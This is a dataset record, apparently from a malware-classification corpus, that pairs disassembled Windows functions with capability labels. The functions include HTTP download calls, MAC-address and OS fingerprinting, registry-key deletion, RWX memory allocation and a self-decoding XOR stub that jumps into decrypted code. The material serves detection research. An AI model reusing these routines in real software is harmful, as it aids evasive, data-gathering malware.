joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4248d0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x469ea0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 0x44], ebx
je 0x424a0a
cmp byte [edi + 0x49], bl
je 0x424a0a
mov eax, dword [edi]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
call edx
cmp eax, 0xffffffff
jne 0x424918
pop edi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043eb21
mov esp, ebp
pop ebp
ret
mov ecx, 0xf
xor eax, eax
mov byte [ebp - 0x20], bl
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x10], 8
cmp ecx, 0x10
jae 0x42493a
lea eax, [ebp - 0x20]
mov byte [eax + 8], bl
push esi
mov eax, dword [ebp - 0x20]
mov ebx, dword [ebp - 0xc]
mov edx, eax
cmp ebx, 0x10
jae 0x424950
lea edx, [ebp - 0x20]
mov eax, edx
add edx, dword [ebp - 0x10]
mov ecx, dword [edi + 0x44]
mov esi, dword [ecx]
lea ebx, [ebp - 0x24]
push ebx
push edx
push eax
lea eax, [edi + 0x4c]
push eax
mov eax, dword [esi + 0x18]
call eax
sub eax, 0
je 0x42498f
dec eax
je 0x424993
sub eax, 2
lea ecx, [ebp - 0x20]
je 0x4249f2
call fcn.00402980
pop esi
pop edi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043eb21
mov esp, ebp
pop ebp
ret
mov byte [edi + 0x49], 0
mov ebx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x20]
mov ecx, eax
cmp ebx, 0x10
jae 0x4249a3
lea ecx, [ebp - 0x20]
mov esi, dword [ebp - 0x24]
sub esi, ecx
je 0x4249cc
cmp ebx, 0x10
jae 0x4249b2
lea eax, [ebp - 0x20]
mov ecx, dword [edi + 0x54]
push ecx
push esi
push 1
push eax
call fcn.00440fe6
add esp, 0x10
cmp esi, eax
jne 0x4249ea
mov ebx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x20]
cmp byte [edi + 0x49], 0
je 0x4249ef
test esi, esi
jne 0x424944
push esi
push 8
lea ecx, [ebp - 0x20]
call fcn.0040a0b0
jmp 0x42493e
lea ecx, [ebp - 0x20]
jmp 0x424977
lea ecx, [ebp - 0x20]
call fcn.00402980
pop esi
pop edi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043eb21
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.0043eb21
mov esp, ebp
pop ebp
ret
Function at 0x4279e0
Capabilities:
Connect to http server
Create http request
Query remote server for available data
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x81c
mov eax, dword [0x469ea0]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0
push 0
push 0
push 0
push str.GetIp
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0
push 3
push 0
push 0
push 0x50
push 0x45baf4
push eax
mov dword [ebp - 0x818], eax
call dword [sym.imp.WININET.dll_InternetConnectA]
push 0
push 0x806cc200
push 0
push 0
push 0x45b89c
push str.index.php_cAbabInterface_DownBox
push 0x45bacc
push eax
mov dword [ebp - 0x810], eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov edi, eax
test edi, edi
je 0x427a74
push 0
push 0
push 0
push 0
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x427a74
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043eb21
mov esp, ebp
pop ebp
ret
push ebx
push 0x7ff
lea eax, [ebp - 0x803]
push 0
push eax
mov byte [ebp - 0x804], 0
call fcn.0043ecf0
mov ebx, dword [sym.imp.WININET.dll_HttpQueryInfoA]
add esp, 0xc
push 0
lea ecx, [ebp - 0x814]
push ecx
lea edx, [ebp - 0x804]
push edx
push 0x13
push edi
mov dword [ebp - 0x814], 0x800
call ebx
mov ecx, 0x45b890
lea eax, [ebp - 0x804]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x427ae2
test dl, dl
je 0x427ade
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x427ae2
add eax, 2
add ecx, 2
test dl, dl
jne 0x427ac2
xor eax, eax
jmp 0x427ae7
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x427b00
pop ebx
mov eax, 1
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043eb21
mov esp, ebp
pop ebp
ret
push esi
push 0xb
mov dword [ebp - 0x808], 0xa
call fcn.0043e5bb
add esp, 4
push 0
mov esi, eax
lea eax, [ebp - 0x808]
push eax
push esi
push 0x16
push edi
call ebx
test eax, eax
jne 0x427b66
lea ebx, [ebx]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x427b53
push esi
call fcn.0043e530
mov ecx, dword [ebp - 0x808]
inc ecx
push ecx
call fcn.0043e5bb
add esp, 8
mov esi, eax
push 0
lea edx, [ebp - 0x808]
push edx
push esi
push 0x16
push edi
call ebx
test eax, eax
je 0x427b30
mov eax, dword [ebp - 0x808]
push esi
mov byte [esi + eax], 0xa
call fcn.0043e530
add esp, 4
push 0
push 0
lea ecx, [ebp - 0x80c]
push ecx
push edi
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
test eax, eax
je 0x427be5
push 0x11f5
mov dword [ebp - 0x80c], 0x11f5
call fcn.0043e5bb
push 0x11f5
mov esi, eax
push 0
push esi
call fcn.0043ecf0
mov eax, dword [ebp - 0x80c]
add esp, 0x10
lea edx, [ebp - 0x81c]
push edx
push eax
push esi
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x427bd0
sub eax, edx
push eax
push esi
mov ecx, 0x4696fc
call fcn.0040b3c0
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
mov ecx, dword [ebp - 0x810]
push ecx
call esi
mov edx, dword [ebp - 0x818]
push edx
call esi
mov ecx, dword [ebp - 4]
pop esi
pop ebx
xor ecx, ebp
pop edi
call fcn.0043eb21
mov esp, ebp
pop ebp
ret
Function at 0x42dd80
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x14]
push esi
mov esi, ecx
mov ecx, dword [ebp + 0xc]
mov dword [eax], 0
cmp ecx, 0xf060
jne 0x42ddb3
push eax
push 0
push 1
push 0
lea ecx, [esi + 0x110]
call fcn.0042d250
xor eax, eax
pop esi
pop ebp
ret 0x10
cmp ecx, 0xf020
jne 0x42ddce
mov eax, dword [esi + 4]
push 6
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
pop esi
pop ebp
ret 0x10
cmp ecx, 0xf120
jne 0x42de00
mov ecx, dword [esi + 4]
push 9
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
lea ecx, [esi + 0x110]
call fcn.00412b40
mov edx, dword [esi + 4]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
xor eax, eax
pop esi
pop ebp
ret 0x10
mov eax, 1
pop esi
pop ebp
ret 0x10
Function at 0x438e60
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov ax, word [ebp - 0x24]
cmp ax, 9
je 0x438e86
cmp ax, 6
je 0x438e86
xor eax, eax
mov esp, ebp
pop ebp
ret
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x439d90
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x469ea0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, ecx
mov ecx, dword [esi + 4]
mov edx, dword [esi]
push edi
or ecx, 0x2001f
push ecx
xor ebx, ebx
push eax
push edx
lea ecx, [ebp - 0x210]
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x210], ebx
mov dword [ebp - 0x20c], ebx
mov dword [ebp - 0x208], ebx
call fcn.00439680
mov edi, eax
cmp edi, ebx
je 0x439e0a
mov eax, dword [ebp - 0x210]
cmp eax, ebx
je 0x439df5
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043eb21
mov esp, ebp
pop ebp
ret 4
lea eax, [ebp - 0x220]
push eax
mov eax, dword [ebp - 0x210]
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x214]
push ecx
lea edx, [ebp - 0x204]
push edx
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
push eax
mov dword [ebp - 0x214], 0x100
call ebx
test eax, eax
jne 0x439e88
lea ecx, [ebp - 0x204]
push ecx
lea ecx, [ebp - 0x210]
call fcn.00439d90
mov edi, eax
test edi, edi
jne 0x439ec1
lea edx, [ebp - 0x220]
push edx
mov edx, dword [ebp - 0x210]
push eax
push eax
push eax
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 0x204]
push ecx
push edi
push edx
mov dword [ebp - 0x214], 0x100
call ebx
test eax, eax
je 0x439e40
mov eax, dword [ebp - 0x210]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edi, edi
cmp eax, edi
je 0x439ea3
push eax
call ebx
mov dword [ebp - 0x210], edi
mov ecx, dword [esi + 8]
mov eax, dword [ebp - 0x218]
mov dword [ebp - 0x20c], edi
push eax
cmp ecx, edi
je 0x439eeb
mov edx, dword [esi]
push edx
call fcn.00439450
jmp 0x439ef4
mov eax, dword [ebp - 0x210]
test eax, eax
je 0x439df5
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043eb21
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [esi]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov esi, eax
mov eax, dword [ebp - 0x210]
cmp eax, edi
je 0x439f03
push eax
call ebx
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.0043eb21
mov esp, ebp
pop ebp
ret 4
Function at 0x43b660
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x469ea0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 0x40c], ecx
xor ecx, ecx
push 2
push ecx
push eax
mov dword [ebp - 0x410], ecx
mov dword [ebp - 0x408], ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x43b6af
call fcn.00402f50
mov esi, eax
jmp 0x43b756
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x43b6c8
call fcn.00402f50
jmp 0x43b74d
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
jne 0x43b6dd
call fcn.00402f50
jmp 0x43b74d
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
lea eax, [esi + 1]
cmp eax, esi
jae 0x43b6f5
mov esi, 0x8007000e
jmp 0x43b74f
push eax
lea ecx, [ebp - 0x408]
call fcn.0043a4d0
mov eax, dword [ebp - 0x408]
test eax, eax
jne 0x43b712
mov esi, 0x8007000e
jmp 0x43b74f
push esi
push eax
push esi
push ebx
push 0
push 3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
jne 0x43b72b
call fcn.00402f50
jmp 0x43b74d
mov edx, dword [ebp - 0x408]
xor ecx, ecx
mov word [edx + eax*2], cx
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp - 0x408]
push eax
push ecx
lea ecx, [ebp - 0x410]
call fcn.0043b3b0
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea edx, [ebp - 0x404]
cmp dword [ebp - 0x408], edx
je 0x43b770
lea ecx, [ebp - 0x408]
call fcn.00439d30
nop
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.0043eb21
mov esp, ebp
pop ebp
ret 0x10
Function at 0x43c270
Capabilities:
Check os version
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
mov eax, dword [0x469ea0]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x148]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea ecx, [ebp - 0x120]
push ecx
mov dword [ebp - 0x120], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x43c43c
mov edx, dword [0x469cb4]
mov eax, dword [edx + 0xc]
push esi
mov ecx, 0x469cb4
call eax
add eax, 0x10
mov dword [ebp - 0x124], eax
mov eax, dword [ebp - 0x11c]
sub eax, 4
je 0x43c3b1
mov ecx, 1
sub eax, ecx
je 0x43c352
sub eax, ecx
je 0x43c2f3
push 0x45dcfc
jmp 0x43c3ef
mov eax, dword [ebp - 0x118]
sub eax, 0
je 0x43c333
sub eax, ecx
je 0x43c314
sub eax, ecx
jne 0x43c3fa
push str.Microsoft_Windows_7
jmp 0x43c3ef
cmp byte [ebp - 6], cl
lea ecx, [ebp - 0x124]
jne 0x43c329
push str.Microsoft_Windows_7
jmp 0x43c3f5
push str.Microsoft_Windows_Server_2008_R2
jmp 0x43c3f5
cmp byte [ebp - 6], cl
lea ecx, [ebp - 0x124]
jne 0x43c348
push str.Microsoft_Windows_Vista
jmp 0x43c3f5
push str.Microsoft_Windows_Server_2008
jmp 0x43c3f5
mov eax, dword [ebp - 0x118]
sub eax, 0
je 0x43c3aa
sub eax, ecx
je 0x43c3a3
sub eax, ecx
jne 0x43c3fa
cmp byte [ebp - 6], cl
jne 0x43c37f
cmp word [ebp - 0x148], 9
jne 0x43c37f
push str.Microsoft_Windows_XP_Professional_x64_Edition
jmp 0x43c3ef
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0x59
call esi
test eax, eax
jne 0x43c394
push str.Microsoft_Windows_Server_2003
jmp 0x43c3ef
push 0x59
call esi
test eax, eax
je 0x43c3fa
push str.Microsoft_Windows_Server_2003_R2
jmp 0x43c3ef
push str.Microsoft_Windows_XP
jmp 0x43c3ef
push str.Microsoft_Windows_2000
jmp 0x43c3ef
mov eax, dword [ebp - 0x118]
test eax, eax
je 0x43c3d3
cmp eax, 0xa
je 0x43c3cc
cmp eax, 0x5a
jne 0x43c3fa
push str.Microsoft_Windows_Me
jmp 0x43c3ef
push str.Microsoft_Windows_98
jmp 0x43c3ef
mov eax, dword [ebp - 0x110]
cmp eax, 2
jne 0x43c3e5
push str.Microsoft_Windows_NT_4.0
jmp 0x43c3ef
cmp eax, 1
jne 0x43c3fa
push str.Microsoft_Windows_95
lea ecx, [ebp - 0x124]
call fcn.00407eb0
mov esi, dword [ebp - 0x124]
add esi, 0xfffffff0
push esi
call fcn.00401bc0
add eax, 0x10
add esp, 4
mov dword [edi], eax
lea ecx, [esi + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x43c42a
mov ecx, dword [esi]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push esi
call edx
pop esi
mov eax, edi
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043eb21
mov esp, ebp
pop ebp
ret
push 0x458e24
mov ecx, edi
call fcn.00408300
mov ecx, dword [ebp - 4]
mov eax, edi
xor ecx, ebp
pop edi
call fcn.0043eb21
mov esp, ebp
pop ebp
ret
Function at 0x43c8b0
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov esi, dword [ebp + 8]
push edi
push 0x458f16
mov ecx, esi
call fcn.004085c0
push 0x288
call fcn.0043e5bb
mov edi, eax
add esp, 4
lea eax, [ebp - 4]
push eax
push edi
mov dword [ebp - 4], 0x288
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
je 0x43c8ff
push edi
call fcn.0043e530
mov ecx, dword [ebp - 4]
push ecx
call fcn.0043e5bb
add esp, 8
mov edi, eax
lea edx, [ebp - 4]
push edx
push edi
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
jne 0x43c9d2
lea eax, [edi + 0x10c]
push 0x45dd40
push eax
call fcn.00442350
add esp, 8
test eax, eax
jne 0x43c936
cmp dword [edi + 0x1a0], 0x47
jne 0x43c9df
push ebx
push 0x458f16
lea ecx, [ebp - 8]
call fcn.004085c0
mov eax, dword [edi + 0x190]
xor esi, esi
test eax, eax
je 0x43c997
movzx edx, byte [edi + esi + 0x194]
dec eax
mov ecx, esi
sub ecx, eax
neg ecx
sbb ecx, ecx
and ecx, 0x23
add ecx, 0xa
push ecx
push edx
lea eax, [ebp - 8]
push str._02X_c
push eax
call fcn.00424270
mov ebx, dword [ebp - 8]
mov eax, dword [ebx - 0xc]
mov ecx, dword [ebp + 8]
add esp, 0x10
push eax
push ebx
call fcn.00422490
mov eax, dword [edi + 0x190]
inc esi
cmp esi, eax
jb 0x43c950
jmp 0x43c99a
mov ebx, dword [ebp - 8]
mov esi, dword [ebp + 8]
mov eax, dword [esi]
push eax
push 0x46d7d0
call fcn.0040b020
add ebx, 0xfffffff0
add esp, 8
lea ecx, [ebx + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x43c9c9
mov ecx, dword [ebx]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push ebx
call edx
pop ebx
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
push str.Call_to_Get_Adapters_Information_failed_n
call fcn.004424a3
add esp, 4
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x43cbb0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [ebp + 8]
mov eax, dword [ebx + 4]
mov ecx, dword [ebx]
push esi
mov dword [ebp - 8], 0
cmp ecx, eax
je 0x43cbeb
mov edx, dword [ebp + 8]
push edx
push ecx
push eax
push eax
call fcn.0043bd90
mov esi, eax
mov eax, dword [ebx + 4]
add esp, 0x10
push eax
push esi
mov ecx, ebx
call fcn.0043c9f0
mov dword [ebx + 4], esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea ecx, [ebp - 8]
push ecx
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [ebp - 0xc], eax
mov eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 8], eax
jle 0x43cd8b
push edi
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
mov esi, dword [edx + eax*4]
mov edx, dword [0x469cb4]
mov eax, dword [edx + 0xc]
mov ecx, 0x469cb4
call eax
lea edi, [eax + 0x10]
mov dword [ebp + 8], edi
test esi, esi
je 0x43cc5a
test esi, 0xffff0000
jne 0x43cc5e
movzx esi, si
push 0
push esi
call fcn.00401340
add esp, 8
test eax, eax
je 0x43cc7f
push esi
push eax
lea ecx, [ebp + 8]
call fcn.00402a60
jmp 0x43cc7c
xor eax, eax
jmp 0x43cc72
mov eax, esi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x43cc63
sub eax, edx
sar eax, 1
push eax
push esi
lea ecx, [ebp + 8]
call fcn.004029b0
mov edi, dword [ebp + 8]
mov eax, dword [ebx + 4]
lea ecx, [ebp + 8]
cmp ecx, eax
jae 0x43ccfc
mov edx, dword [ebx]
cmp edx, ecx
ja 0x43ccfc
mov esi, ecx
mov ecx, dword [ebx + 8]
sub esi, edx
sar esi, 2
cmp eax, ecx
jne 0x43ccda
sub eax, edx
sar eax, 2
cmp eax, 0x3ffffffe
ja 0x43cd99
sub ecx, edx
inc eax
sar ecx, 2
cmp eax, ecx
jbe 0x43ccda
mov edx, ecx
shr edx, 1
mov edi, 0x3fffffff
sub edi, edx
cmp edi, ecx
jae 0x43ccca
xor ecx, ecx
jmp 0x43cccc
add ecx, edx
cmp ecx, eax
jae 0x43ccd2
mov ecx, eax
push ecx
mov ecx, ebx
call fcn.0043ca60
mov edi, dword [ebx + 4]
test edi, edi
je 0x43ccf7
mov edx, dword [ebx]
mov eax, dword [edx + esi*4]
sub eax, 0x10
push eax
call fcn.00401bc0
add esp, 4
add eax, 0x10
mov dword [edi], eax
mov edi, dword [ebp + 8]
jmp 0x43cd5a
mov ecx, dword [ebx + 8]
cmp eax, ecx
jne 0x43cd42
mov edx, dword [ebx]
sub eax, edx
sar eax, 2
cmp eax, 0x3ffffffe
ja 0x43cd99
sub ecx, edx
inc eax
sar ecx, 2
cmp eax, ecx
jbe 0x43cd42
mov edx, ecx
shr edx, 1
mov esi, 0x3fffffff
sub esi, edx
cmp esi, ecx
jae 0x43cd32
xor ecx, ecx
jmp 0x43cd34
add ecx, edx
cmp ecx, eax
jae 0x43cd3a
mov ecx, eax
push ecx
mov ecx, ebx
call fcn.0043ca60
mov esi, dword [ebx + 4]
test esi, esi
je 0x43cd5a
lea eax, [edi - 0x10]
push eax
call fcn.00401bc0
add esp, 4
add eax, 0x10
mov dword [esi], eax
add dword [ebx + 4], 4
lea eax, [edi - 0x10]
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x43cd7a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp eax, dword [ebp - 8]
jl 0x43cc11
pop edi
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
pop esi
sar eax, 2
pop ebx
mov esp, ebp
pop ebp
ret
push 0x4595c4
call fcn.0043d98b
int3
Function at 0x43d714
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x46d684], 0
push esi
push edi
jne 0x43d68a
call fcn.0043d5f6
test eax, eax
je 0x43d6cf
mov eax, dword [0x46d684]
cmp eax, 1
jne 0x43d6ab
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x43d6cf
jmp 0x43d711
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x43d711
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x43d6d3
xor eax, eax
jmp 0x43d711
mov eax, dword [esi]
push dword [0x46d684]
call edi
mov edi, eax
test edi, edi
je 0x43d6f5
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
jmp 0x43d711
lea edi, [esi + 0xff0]
push esi
push dword [0x46d684]
call dword [sym.imp.KERNEL32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x43d6fb
mov eax, esi
pop edi
pop esi
ret
jmp 0x43d676

Function at 0x43eb21
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x469ea0]
jne 0x43eb2b
repz ret
jmp fcn.004451ea
Function at 0x4526d5
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x469ea0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00445689
and dword [ebp - 0x14], 0
cmp dword [0x46e760], 0
mov dword [ebp - 0x18], eax
jne 0x452788
push 0x4615a8
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x452830
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x46159c
push ebx
call edi
test eax, eax
je 0x452830
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x46158c
push ebx
mov dword [0x46e760], eax
call edi
push eax
call esi
push 0x461578
push ebx
mov dword [0x46e764], eax
call edi
push eax
call esi
push 0x46155c
push ebx
mov dword [0x46e768], eax
call edi
push eax
call esi
mov dword [0x46e770], eax
test eax, eax
je 0x452788
push 0x461544
push ebx
call edi
push eax
call esi
mov dword [0x46e76c], eax
mov eax, dword [0x46e76c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4527e1
cmp dword [0x46e770], ecx
je 0x4527e1
push eax
call esi
push dword [0x46e770]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4527e1
test ebx, ebx
je 0x4527e1
call edi
test eax, eax
je 0x4527d8
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4527d8
test byte [ebp - 8], 1
jne 0x4527e1
or dword [ebp + 0x10], 0x200000
jmp 0x452814
mov eax, dword [0x46e764]
cmp eax, dword [ebp - 0x18]
je 0x452814
push eax
call esi
test eax, eax
je 0x452814
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x452814
mov eax, dword [0x46e768]
cmp eax, dword [ebp - 0x18]
je 0x452814
push eax
call esi
test eax, eax
je 0x452814
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x46e760]
call esi
test eax, eax
je 0x452830
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x452832
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0043eb21
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx